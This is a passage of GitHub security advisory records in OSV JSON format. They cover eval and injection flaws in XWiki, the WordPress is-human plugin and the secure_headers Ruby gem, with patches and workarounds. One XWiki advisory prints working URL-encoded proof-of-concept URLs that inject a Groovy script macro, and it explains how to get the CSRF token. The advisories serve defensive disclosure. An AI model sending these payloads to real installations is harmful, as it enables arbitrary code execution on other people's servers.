      "url": "https://github.com/xwiki/xwiki-platform/commit/74e301c481e69eeea674dac7fed6af3614cf08c5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/94fc12db87c2431eb1335ecb9c2954b1905bde62"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/acba74c149a041345b24dcca52c586f872ba97fb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/ef55105d6eeec5635fd693f0070c5aaaf3bdd940"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-21471"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XWiki Platform: Remote code execution through space title and Solr space facet"
}

{
  "affected": [],
  "aliases": [
    "CVE-2011-10033"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-15T02:15:31Z",
    "severity": "CRITICAL"
  },
  "details": "The WordPress plugin\u00a0is-human \u003c= v1.4.2 contains\u00a0an eval injection vulnerability in /is-human/engine.php that can be triggered via the \u0027type\u0027 parameter when the \u0027action\u0027 parameter is set to \u0027log-reset\u0027. The root cause is unsafe use of eval() on user-controlled input, which can lead to execution of attacker-supplied PHP and OS commands. This may result in arbitrary code execution as the webserver user, site compromise, or data exfiltration. The is-human plugin was made defunct in June 2008 and is no longer available for download. This vulnerability was exploited in the wild in March 2012.",
  "id": "GHSA-xmcg-3p5m-pg58",
  "modified": "2025-10-15T03:30:40Z",
  "published": "2025-10-15T03:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-10033"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20120115212202/http://blog.spiderlabs.com/2012/01/honeypot-alert-is-human-wordpress-plugin-remote-command-execution-attack-detected.html"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/is-human"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/17299"
    },
    {
      "type": "WEB",
      "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-alert-more-wordpress-is_human-plugin-remote-command-injection-attack-detected"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/wordpress-plugin-is-human-eval-injection-rce"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "secure_headers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "secure_headers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "secure_headers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-5217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-01-23T02:12:03Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nIf user-supplied input was passed into `append/override_content_security_policy_directives`, a semicolon could be injected leading to directive injection.\n\nThis could be used to e.g. override a `script-src` directive. Duplicate directives are ignored and the first one wins. The directives in `secure_headers` are sorted alphabetically so they pretty much all come before `script-src`. A previously undefined directive would receive a value even if `SecureHeaders::OPT_OUT` was supplied.\n\nThe fixed versions will silently convert the semicolons to spaces and emit a deprecation warning when this happens. This will result in innocuous browser console messages if being exploited/accidentally used. In future releases, we will raise application errors resulting in 500s.\n\n\u003e Duplicate script-src directives detected.  All but the first instance will be ignored.\n\nSee https://www.w3.org/TR/CSP3/#parse-serialized-policy\n\n\u003e Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.\n\n### Patches\n\nDepending on what major version you are using, the fixed versions are 6.2.0, 5.1.0, 3.8.0.\n\n### Workarounds\n\nIf you are passing user input into the above methods, you could filter out the input:\n\n```ruby\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\";\", \" \")])\n```\n\n### References\n\nReported in https://github.com/twitter/secure_headers/issues/418\nhttps://www.w3.org/TR/CSP3/#parse-serialized-policy\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repo](https://github.com/twitter/secure_headers/issues/new)\n* DM @ndm on twitter ",
  "id": "GHSA-xq52-rv6w-397c",
  "modified": "2023-05-16T16:09:56Z",
  "published": "2020-01-23T02:28:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5217"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twitter/secure_headers/issues/418"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twitter/secure_headers/pull/421"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twitter/secure_headers/commit/936a160e3e9659737a9f9eafce13eea36b5c9fa3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5217.yml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/twitter/secure_headers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Directive injection when using dynamic overrides with user input"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-wiki-ui-mainwiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.3-milestone-2"
            },
            {
              "fixed": "13.10.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-wiki-ui-mainwiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.0"
            },
            {
              "fixed": "14.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-36099"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-16T17:22:28Z",
    "nvd_published_at": "2022-09-08T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nIt\u0027s possible to inject arbitrary wiki syntax including Groovy, Python and Velocity script macros via the request (URL parameter) using the `XWikiServerClassSheet` if the user has view access to this sheet and another page that has been saved with programming rights, a standard condition on a public read-only XWiki installation or a private XWiki installation where the user has an account. This allows arbitrary Groovy/Python/Velocity code execution which allows bypassing all rights checks and thus both modification and disclosure of all content stored in the XWiki installation. Also, this could be used to impact the availability of the wiki.\n\nOn current versions (e.g., 14.3), this can be triggered by opening the URL `/xwiki/bin/view/Main/?sheet=XWiki.XWikiServerClassSheet\u0026form_token=\u003cform_token\u003e\u0026action=delete\u0026domain=foo%22%2F%7D%7D%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22hello%20from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D`, on version 5.3 Milestone 2 (oldest impacted version), the issue can be reproduced using `\u003cserver\u003e/xwiki/bin/view/Main/?sheet=WikiManager.XWikiServerClassSheet\u0026form_token=\u003cform_token\u003e\u0026action=delete\u0026domain=foo%22%2F%7D%7D%7B%7B%2Ferror%7D%7D%7B%7B%2Fhtml%7D%7D%7B%7Bfootnote%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22hello+from+groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Ffootnote%7D%7D`. In both cases `\u003cserver\u003e` is the URL of the XWiki installation and `\u003cform_token\u003e` is the token used for CSRF protection for the current user which is available in every HTML response (search for `form-token` or `form_token` in the HTML source). If the string `hello from groovy` without `println(\"` before it is displayed, the attack has been successful.\n\n### Patches\nThis has been patched in the supported versions 13.10.6 and 14.4.\n\n### Workarounds\nIt is possible to edit the affected document `XWiki.XWikiServerClassSheet` or `WikiManager.XWikiServerClassSheet` and manually perform the changes from [the patch fixing the issue](https://github.com/xwiki/xwiki-platform/commit/fc77f9f53bc65a4a9bfae3d5686615309c0c76cc), i.e., replacing\n\n```\n     {{error}}{{translation key=\"platform.wiki.sheet.erroraliasalreadynotexists\" parameters=\"$request.domain\"/}}{{/error}}\n```\nby\n```\n     {{error}}{{translation key=\"platform.wiki.sheet.erroraliasalreadynotexists\" parameters=\"~\"${services.rendering.escape($escapetool.java($request.domain), \u0027xwiki/2.1\u0027)}~\"\"/}}{{/error}}\n```\n\nand replacing\n\n```\n     {{error}}{{translation key=\"platform.wiki.sheet.erroraliasdoesnotexists\" parameters=\"$request.domain\"/}}{{/error}}\n```\nby\n```\n     {{error}}{{translation key=\"platform.wiki.sheet.erroraliasdoesnotexists\" parameters=\"~\"${services.rendering.escape($escapetool.java($request.domain), \u0027xwiki/2.1\u0027)}~\"\"/}}{{/error}}\n```\n\nNote that below version 7.1 milestone 1, the used escaping function isn\u0027t available and thus a different fix would need to be developed.\n\nOn XWiki versions 12.0 and later, it is also possible to import the document `XWiki.XWikiServerClassSheet` from the [xwiki-platform-wiki-ui-mainwiki package version 14.4](https://nexus.xwiki.org/nexus/content/groups/public/org/xwiki/platform/xwiki-platform-wiki-ui-mainwiki/14.4/xwiki-platform-wiki-ui-mainwiki-14.4.xar) using the [import feature of the administration application](https://extensions.xwiki.org/xwiki/bin/view/Extension/Administration%20Application#HImport) as there have been no other changes to this document since XWiki 12.0.\n\n### References\n* https://github.com/xwiki/xwiki-platform/commit/fc77f9f53bc65a4a9bfae3d5686615309c0c76cc\n* https://jira.xwiki.org/browse/XWIKI-19746\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n- Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
  "id": "GHSA-xr6m-2p4m-jvqf",
  "modified": "2022-09-16T17:22:28Z",
  "published": "2022-09-16T17:22:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-xr6m-2p4m-jvqf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36099"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/fc77f9f53bc65a4a9bfae3d5686615309c0c76cc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-19746"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XWiki Platform Wiki UI Main Wiki Eval Injection vulnerability"
}